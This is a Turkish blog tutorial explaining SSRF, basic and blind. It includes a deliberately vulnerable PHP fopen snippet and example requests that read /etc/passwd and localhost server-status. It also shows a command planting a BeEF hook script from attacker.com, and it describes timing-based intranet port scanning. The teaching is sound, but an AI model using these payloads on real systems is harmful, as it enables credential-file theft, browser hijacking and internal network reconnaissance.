Bu yazımda biraz SSRF yani Server Side Request Forgery denen zafiyeti açıklamaya çalışacağım bakalım olacak mı :)). ( ingilizcem o kadar kötü değil vurmayın.) Zafiyet hakkında biraz konuşalım. XSS ‘i duymuşsunuzdur hani Client Side kod çalıştırabildiğimiz bir zafiyet vardı. Bu da onun server tabanlı versiyonu gibi düşünebiliriz biraz tabi temelleri biraz farklı ama kod çalıştırma kısmında benziyorlar xss’te client side kod çalıştırmaya çalışıyoruz burada ise server side. Bir site düşünün resimleri alıyor, biraz işlem yapmaya çalışıyor ve bize önizleme olarak gösteriyor. Demek oluyor ki sunucu tabanlı dönen bir şeyler var sonuçta resim upload edilip açılıyor dosya olarak :). Bizim ilgimizi çeken kısımda inputun sunucuda açılıyor olması. Biz resim yerine kendi kodumuzu içeren bir dosya veya bir web sitesi yollayıp kodumuza yönlendirsek ? Sonuçta ne yollarsak açıyor. Bu sefer kodumuzu da açacak ve kodda ne diyorsak bizim için yapmaya başlayacak. Biraz görsellik ekleyelim bu görselde reflected xss ile bilrşetirmiş olacağız ssrf zafiyetini. :
Web uygulamamız resmimizi aldı ve bize önizleme olarak gösterdi. Bu esnada dosyayı(veya vereceğimiz remote dosyayı) açtı, kullandı. Şimdi bu dosya açma işini biz nasıl kullanabiliriz ona bakalım.
File.png yollamıştık değil mi ? Şimdide kendi yazdığımız javascript betiğini sitemize atıp sitemizi yollayalım, dosyayı açsın ve kodlar çalışsın.
Ve javascript kodumuz çalışmış oldu,bizde zafiyeti reflected xss ile birleştirip test yazdırmış olduk. Temel olarak ssrf’in çalışma mantığı böyle şimdi biraz daha derinlere inelim.
Temelde SSRF Türleri nelerdir ?
- BASIC SSRF
- BLIND SSRF
Basic SSRF
Temel olarak ilk anlattığımıza dayanıyor basic olan versiyonu. İstek yolladığımız zaman cevapları görebiliyoruz. Örnek kod olarak bakarsak acunetix’in örneğini kullanacağım.(Lİnk: Acunetix SSRF)
<?php
/**
* Check if the 'url' GET variable is set
* Example - http://localhost/?url=http://testphp.vulnweb.com/images/logo.gif
*/
if (isset($_GET['url'])){
$url = $_GET['url'];
$image = fopen($url, 'rb');
header("Content-Type: image/png");
fpassthru($image);}
Php koduna baktığımızda isset ile HTTP GET metodu ile dosya ismini aldık mı almadık mı kontrolünü yapıyoruz yani set edildi mi ona bakıyoruz. Ardından eğer set edilmişse bu dosya ismini ‘url’ adlı değişkene atıyoruz. Sonrasında fopen($url, ‘rb’ ); (C veya diğer bir kaç dilde dosya işlemleri ile uğraşanlara tanıdık gelecektir.) dosyamızı binary modda okuyoruz (r-> read b-> binary) ve bu okuduğumuz dosyayı da image değişkeninde tutuyoruz. Header komutu ile HTTP Header’ı olan Content-Type header’ını image/png olarak ayarlıyoruz. (Bkz: Http Headers) Ve en son fpassthru($image); komutu ile aldığmız (fopen ile açtığımız) dosyayı direk sayfaya bastırıyoruz (peki ya bastırmasaydık yine açık var diyecek miydik ? Cevap -> BLİND SSRF)
Sunucu durumunu mu görmek istiyorsunuz ?
GET /?url=http://localhost/server-status HTTP/1.1
Host: example.com
Veya canınız sıkıldı, linuxta /etc/passwd yi okumak istiyorsunuz. (Eğer yetkimiz varsa /etc/shadow u da okuyup parola kırmayada geçebiliriz.)
GET /?url=file:///etc/passwd HTTP/1.1
Host: example.com
Veya az önceki gibi reflected xss ile birleştirebiliriz.(Beeften bahsetmiştim önceki yazımda onu hook etmeye çalışalım mesela.(OWASP Xenotix Framework’e de bakmanızı tavsiye ederim.))
GET /?url=http://attacker.com/beef%00.png HTTP/1.1
Host: example.com
server@Attacker.com/var/www/html __>touch beef.html; echo '
<script src=”http://attacker.com:3000/hook.js” type=”text/javascript”></script>
' >beef.html
Sunucumuzda beef.html dosyasına scriptimizi yazdık sonra da http://attacker.com/beef%00.png inputu ile reflected xss örneğindeki gibi js kodunu çalıştırabiliriz ve sonuçta hedefimiz example.com/page.php?url=http://attacker.com/beef%00.png linkine tıklarsa beef’imize düşecektir. Lafı uzatmadan blind’a geçelim.
BLIND SSRF
Ne demiştik dosya açıyoruz ve sonucu görüyoruz. Peki her zaman görmek zorunda mıyız ? Her zaman bu kadar şanslı olamayabiliriz ve response sadece back-end de işlenir ve bize front-end kısmında gözükmez. İşte tamda bu durumlara Kör yani Blind ssrf diyoruz. Peki nasıl anlayacağız ki ? Eğer blind sql’i duyduysanız güzel, duymadıysanız da biraz blind sql’e bakın derim mantık çok benziyor kimi yerlerde. Örnek vermem gerekirse diyoruz ki eğer şu koşul sağlanıyorsa 5 sn bekle eğerki bu koşulları bildiğimiz bilgilerle kullanırsak beklediği anda ssrf var diyebiliriz (Ortalama response süresini alıp ondan daha uzun süre vermeniz daha sağlıklı olacaktır ki aradaki farkı anlayabilelim.) (Eğer burp pro’nuz varsa collaorator ile işleri kolaylaştırabilirsiniz.) Veya bilindik portlar üzerinden gidebilirsiniz, örneğin 22,80,443,8080,8443 portlarını sırayla deneyerek port açıksa 5 saniye bekle diye sunucuya kodu yollarsanız ve cidden 5 sn beklediği bir port olursa büyük ihtimal ssrf vardır. Başka bir senaryoya bakalım şöyle bi network topolojisi düşünün.
Önce web serverda bildiğimiz bilgileri deneyerek ssrf’i doğruladık diyelim. Serverda kodumuz çalışıyor bunu biliyoruz. Ardından web server’a port scanner kodunu yolluyoruz ve intranetteki bilgisayarların portlarını zaman bazlı tarayabiliyoruz. Görsel olarakta göstermek istiyorum (birde port tarama nasıl olur onu göstermek istedim basitçe (nmap syn scan tarzı bi scanner ayarladığımızı düşünün)).
İşin özeti sunucuda kod çalıştırabildiğimiz için istediğimiz çoğu şeyi yapabiliyoruz , kolay bulunan bir açık değil fakat etkileri tartışılamayacak kadar büyük. Birkaç kaynak sunup yazımı burada bitirmek istiyorum.
KİTAP: Web App Hacker’s Handbook, Web-Hacking 101 Siteler: Portswigger Web Academy,Acunetix,Netsparker
Araştırma konuları: Port scannerlar nasıl çalışır ?, blind sql (blind mantığını anlamak için),birazda php ve asp’de dosya işlemleri,dosya uzantısının bulunması ve filtrelenmesi gibi konular işinize yarayabilir. Okuduğunuz için teşekkürler. 🙂